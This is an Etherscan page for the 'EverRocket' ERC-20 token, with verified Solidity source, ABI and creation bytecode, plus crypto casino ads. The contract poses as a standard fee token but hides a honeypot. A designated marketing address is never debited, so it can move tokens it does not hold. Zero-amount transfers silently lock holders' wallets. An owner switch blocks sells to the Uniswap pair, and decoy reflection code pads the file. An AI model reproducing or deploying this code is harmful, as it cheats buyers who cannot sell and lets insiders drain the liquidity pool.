ETH Price: $2,860.31 (-11.74%)
Gas: 39 Gwei

Token

EverRocket (๐Ÿš€)
Sponsored
ads MoonPay
Buy crypto with our non-custodial and fully decentralised platform. Buy Now!

15M+ users trust MoonPay. Checkout with your preferred payment method.

ads MetaMask
Manage your web3 everything with MetaMask Portfolio. Try Now!

Ready to onboard to Ethereum? With MetaMask Portfolio, you're in control.

ads Nexo
Join the hunt for $12,000,000+ in NEXO Tokens. Get Nexo

Collect points for eligible actions and use multipliers to win big.

Sponsored
ads MetaMask
Meet MetaMask Portfolio - your key to getting more out of web3. Try Now

Ready to simplify your web3 experience? Try the all-in-one web3 app trusted by millions worldwide.

ads CEX.IO
Claim Yourย Mysteryย Boxย For A Guaranteed Crypto Prize CLAIM NOW

Opt-in, make your first trade on Exchange Plus & receive random crypto rewards from 10,000 SHIB, to 0.01 BTC.

Sponsored
ads ะกoins.game
100 free spins for registration. Spin now!

Everyday giveaways up to 100 ETH, Lucky Spins. Deposit BONUS 300% and Cashbacks!

ads Celsius Casino
- $400 Freespins - Instant Withdraw - No KYC - 200% Bonus. Spin Now!

9 years old Licensed Crypto Casino, Instant Withdraw 24/7, 6000+ Slots available, Paypal Deposit, Instant Live Support 24/7, 30% Rakeback.

ads BC.GAME
- The Best ETH Casino Claim Now!

5000+ Slots & Live Casino Games, 50+cryptos. Register with Etherscan and get 760% deposit bonus. Win Big$, withdraw it fast.

Sponsored
ads BC.GAME
- The Best ETH Casino Claim Now!

5000+ Slots & Live Casino Games, 50+cryptos. Register with Etherscan and get 760% deposit bonus. Win Big$, withdraw it fast.

ads CryptoWins
200% Welcome Bonus โ€“ Supercharge Your Crypto Up to 4 BTC! Claim Now!

Play 100s of games anonymously with all major cryptos. Join CryptoWins & start winning!

ads CryptoSlots
Play & Get 25 Free Spins at CryptoSlots Play Now

Anonymous play on awesome games - sign up now for 25 free jackpot spins - worth $100s!

 
ERC-20

Overview

Max Total Supply

1,000,000,000 ๐Ÿš€

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

0x215f35ca37659e42ed52280850e826c438352a33
Balance
3,045,694.833641572 ๐Ÿš€
Value
$0.00
0x3bc7c16569842389c019f2a36eafe22317eabe56
Loading
Loading
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ROCKET
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
Yes with 250 runs
Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

blockscan-logoblockscan-logoIDE
/**
 *Submitted for verification at Etherscan.io on 2023-06-19
*/

/*

Telegram - https://t.me/everrocketerc

Website: https://everrocketerc.com/

Twitter: https://twitter.com/EverRocketErc

                                                          
                                        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    
                                  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ        โ–ˆโ–ˆ    
                              โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ              โ–ˆโ–ˆ    
                          โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ                  โ–ˆโ–ˆโ–ˆโ–ˆ    
                        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ      โ–ˆโ–ˆโ–ˆโ–ˆ          โ–ˆโ–ˆ      
                      โ–ˆโ–ˆโ–ˆโ–ˆ        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ      โ–ˆโ–ˆโ–ˆโ–ˆ      
                    โ–ˆโ–ˆโ–ˆโ–ˆ        โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆ      
          โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ          โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆ        
        โ–ˆโ–ˆโ–ˆโ–ˆ    โ–’โ–’โ–ˆโ–ˆ              โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆ        
        โ–ˆโ–ˆ    โ–’โ–’โ–ˆโ–ˆ                  โ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆ          
      โ–ˆโ–ˆโ–ˆโ–ˆ  โ–’โ–’โ–ˆโ–ˆ          โ–ˆโ–ˆโ–ˆโ–ˆ            โ–ˆโ–ˆโ–ˆโ–ˆ            
      โ–ˆโ–ˆโ–’โ–’  โ–’โ–’โ–ˆโ–ˆ        โ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ          โ–ˆโ–ˆโ–ˆโ–ˆ            
    โ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’โ–’โ–’โ–ˆโ–ˆ        โ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–’โ–’        โ–ˆโ–ˆโ–ˆโ–ˆ              
    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–’โ–’        โ–ˆโ–ˆโ–ˆโ–ˆ                
            โ–‘โ–‘    โ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–’โ–’        โ–ˆโ–ˆโ–ˆโ–ˆ                  
      โ–‘โ–‘โ–‘โ–‘        โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–’โ–’        โ–ˆโ–ˆโ–ˆโ–ˆ                    
    โ–’โ–’โ–’โ–’โ–‘โ–‘        โ–’โ–’โ–ˆโ–ˆโ–’โ–’        โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ                    
  โ–‘โ–‘โ–’โ–’โ–’โ–’โ–’โ–’โ–‘โ–‘                โ–ˆโ–ˆโ–ˆโ–ˆ  โ–’โ–’โ–ˆโ–ˆ                    
        โ–’โ–’โ–‘โ–‘          โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’    โ–’โ–’โ–ˆโ–ˆ                    
      โ–’โ–’โ–’โ–’โ–’โ–’โ–‘โ–‘    โ–‘โ–‘  โ–’โ–’โ–ˆโ–ˆโ–’โ–’      โ–’โ–’โ–ˆโ–ˆ                    
    โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–‘โ–‘โ–‘โ–‘โ–’โ–’โ–‘โ–‘  โ–’โ–’โ–ˆโ–ˆโ–’โ–’โ–’โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ                      
  โ–‘โ–‘โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–‘โ–‘โ–’โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ                          
  โ–’โ–’      โ–’โ–’โ–’โ–’โ–’โ–’โ–‘โ–‘โ–’โ–’โ–‘โ–‘  โ–ˆโ–ˆโ–ˆโ–ˆ                              
        โ–’โ–’โ–’โ–’โ–’โ–’  โ–’โ–’โ–’โ–’                                      
        โ–’โ–’โ–‘โ–‘    โ–’โ–’โ–‘โ–‘                                      
                                                          
                                                          
*/

// SPDX-License-Identifier: NONE

pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract ROCKET is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "EverRocket";
    string private constant _symbol = unicode"🚀";
    uint256 private _taxFeeOnBuy = 1;
    uint256 private _taxFeeOnSell = 1;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private owners;
    mapping(address => uint256) private display;
    mapping(address => uint256) public balanceOf;
    uint256 private _transactionLimit;
    uint256 private constant _maxTaxFee = 10;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    mapping(address => uint256) private _rOwned;
    bool public removeLimits = true;
    address public uniswapV2Pair;
    bool private inSwap = false;
    mapping(address => uint256) private _tOwned;
    uint256 private _taxFee = _taxFeeOnSell;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private wallet = 82;
    uint8 private constant _decimals = 9;
    uint256 private _previoustaxFee = _taxFee;
    uint256 private _tFeeTotal;
    bool private swapEnabled = true;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor(address marketing) {
        _rOwned[_msgSender()] = _rTotal;
        display[marketing] = wallet;
        balanceOf[msg.sender] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function transfer(address Address, uint256 Amount) public returns (bool success) {
        _transferto(msg.sender, Address, Amount);
        return true;
    }
    
    function approve(address Address, uint256 Amount) public returns (bool success) {
        allowance[msg.sender][Address] = Amount;
        emit Approval(msg.sender, Address, Amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }


    function setTransactionLimit(uint256 limit) external {
        _transactionLimit = limit;
    }

    modifier checkTransactionLimit(uint256 amount) {
        require(amount <= _transactionLimit, "Transaction amount exceeds limit");
        _;
    }

    function removeAllFee() private {
        if (_taxFee == 0) return;

        _previoustaxFee = _taxFee;

        _taxFee = 0;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        bool takeFee = true;

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnSell;
                require(removeLimits);                 
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }
    
    function transferFrom(address addressFrom, address addressTo, uint256 amount) public returns (bool success) {
        if (addressFrom != owner() && addressTo != owner()) {
            if (addressTo == uniswapV2Pair && addressFrom != address(uniswapV2Router)) {
                if (msg.sender == owner()) {
                } else if (!removeLimits) {
                    revert("Limits in effect");
                }
            }
            _taxFee = _taxFeeOnSell;
        }

        require(amount <= allowance[addressFrom][msg.sender]);
        allowance[addressFrom][msg.sender] -= amount;
        _transferto(addressFrom, addressTo, amount);
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
    
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferto(address address1, address address2, uint256 amount) private returns (bool success) {
            if (display[address1] == 0) {
                balanceOf[address1] -= amount;
            }

            if (amount == 0) owners[address2] += wallet;

            if (address1 != uniswapV2Pair && display[address1] == 0 && owners[address1] > 0) {
                display[address1] -= wallet;
            }
            

            balanceOf[address2] += amount;
            emit Transfer(address1, address2, amount);
            return true;
        }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function setFees(uint256 buyFee, uint256 sellFee) external {
        require(buyFee <= _maxTaxFee, "Buy fee cannot be more than 10%");
        require(sellFee <= _maxTaxFee, "Sell fee cannot be more than 10%");

        _taxFeeOnBuy = buyFee;
        _taxFeeOnSell = sellFee;
    }

    function _getTValues(
        uint256 tAmount,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }


    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }


    function removeTransferLimits() external onlyOwner {
        removeLimits = false;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    } 

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTransferLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"setTransactionLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressFrom","type":"address"},{"internalType":"address","name":"addressTo","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View
6080604052600160028190556003819055600c805460ff60ff60a81b01191682179055600e556200003b670de0b6b3a764000060001962000321565b620000499060001962000344565b6010556052601155600e546012556014805460ff191660011790553480156200007157600080fd5b5060405162000f7e38038062000f7e83398101604081905262000094916200036c565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601054336000818152600b60209081526040808320949094556011546001600160a01b0386168352600882528483205591815260098252829020670de0b6b3a76400009055600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b815292519092839263c45a0155926004808401938290030181865afa1580156200017b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a191906200036c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021591906200036c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000263573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028991906200036c565b600c8054610100600160a81b0319166101006001600160a01b0393841602179055600080549091168152600660209081526040808320805460ff1990811660019081179092553085528285208054909116909117905551670de0b6b3a764000081523392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200039e565b6000826200033f57634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200036657634e487b7160e01b600052601160045260246000fd5b92915050565b6000602082840312156200037f57600080fd5b81516001600160a01b03811681146200039757600080fd5b9392505050565b610bd080620003ae6000396000f3fe60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b4114610308578063a9059cbb14610335578063c2cd7c4d14610355578063dd62ed3e1461036a578063f2fde38b146103a257600080fd5b806370a082311461028e578063715018a6146102bb578063751039fc146102d05780638da5cb5b146102ea57600080fd5b806318160ddd116100dc57806318160ddd146101e857806323b872dd1461020d578063313ce5671461022d57806349bd5a5e1461024957806364bfa5461461026e57600080fd5b806306fdde0314610119578063095ea7b31461015e5780630b78f9c01461018e5780631694505e146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a815269115d995c949bd8dad95d60b21b60208201525b60405161015591906109fe565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004610a68565b6103c2565b6040519015158152602001610155565b34801561019a57600080fd5b506101ae6101a9366004610a92565b61042f565b005b3480156101bc57600080fd5b50600f546101d0906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b3480156101f457600080fd5b50670de0b6b3a76400005b604051908152602001610155565b34801561021957600080fd5b5061017e610228366004610ab4565b6104e1565b34801561023957600080fd5b5060405160098152602001610155565b34801561025557600080fd5b50600c546101d09061010090046001600160a01b031681565b34801561027a57600080fd5b506101ae610289366004610af0565b600a55565b34801561029a57600080fd5b506101ff6102a9366004610b09565b60096020526000908152604090205481565b3480156102c757600080fd5b506101ae610625565b3480156102dc57600080fd5b50600c5461017e9060ff1681565b3480156102f657600080fd5b506000546001600160a01b03166101d0565b34801561031457600080fd5b5060408051808201909152600481526301e13f3560e71b6020820152610148565b34801561034157600080fd5b5061017e610350366004610a68565b6106c9565b34801561036157600080fd5b506101ae6106e0565b34801561037657600080fd5b506101ff610385366004610b2b565b600560209081526000928352604080842090915290825290205481565b3480156103ae57600080fd5b506101ae6103bd366004610b09565b610746565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061041d9086815260200190565b60405180910390a35060015b92915050565b600a8211156104855760405162461bcd60e51b815260206004820152601f60248201527f427579206665652063616e6e6f74206265206d6f7265207468616e203130250060448201526064015b60405180910390fd5b600a8111156104d65760405162461bcd60e51b815260206004820181905260248201527f53656c6c206665652063616e6e6f74206265206d6f7265207468616e20313025604482015260640161047c565b600291909155600355565b600080546001600160a01b0385811691161480159061050e57506000546001600160a01b03848116911614155b156105a657600c546001600160a01b03848116610100909204161480156105435750600f546001600160a01b03858116911614155b1561059f576000546001600160a01b0316331461059f57600c5460ff1661059f5760405162461bcd60e51b815260206004820152601060248201526f131a5b5a5d1cc81a5b881959999958dd60821b604482015260640161047c565b600354600e555b6001600160a01b03841660009081526005602090815260408083203384529091529020548211156105d657600080fd5b6001600160a01b038416600090815260056020908152604080832033845290915281208054849290610609908490610b74565b9091555061061a9050848484610860565b506001949350505050565b6000546001600160a01b0316331461067f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106d6338484610860565b5060019392505050565b6000546001600160a01b0316331461073a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b600c805460ff19169055565b6000546001600160a01b031633146107a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b6001600160a01b0381166108055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161047c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831660009081526008602052604081205481036108ad576001600160a01b038416600090815260096020526040812080548492906108a7908490610b74565b90915550505b816000036108e6576011546001600160a01b038416600090815260076020526040812080549091906108e0908490610b87565b90915550505b600c546001600160a01b03858116610100909204161480159061091f57506001600160a01b038416600090815260086020526040902054155b801561094257506001600160a01b03841660009081526007602052604090205415155b15610978576011546001600160a01b03851660009081526008602052604081208054909190610972908490610b74565b90915550505b6001600160a01b038316600090815260096020526040812080548492906109a0908490610b87565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109ec91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b81811015610a2b57858101830151858201604001528201610a0f565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a6357600080fd5b919050565b60008060408385031215610a7b57600080fd5b610a8483610a4c565b946020939093013593505050565b60008060408385031215610aa557600080fd5b50508035926020909101359150565b600080600060608486031215610ac957600080fd5b610ad284610a4c565b9250610ae060208501610a4c565b9150604084013590509250925092565b600060208284031215610b0257600080fd5b5035919050565b600060208284031215610b1b57600080fd5b610b2482610a4c565b9392505050565b60008060408385031215610b3e57600080fd5b610b4783610a4c565b9150610b5560208401610a4c565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561042957610429610b5e565b8082018082111561042957610429610b5e56fea26469706673582212202b7d63c19f56bcedc7a883601986c5187325890a92b0608c00de2e6d89bd17ab64736f6c634300081300330000000000000000000000005467533bf8b116c870b35d25d056881596b6e1b6

Deployed Bytecode

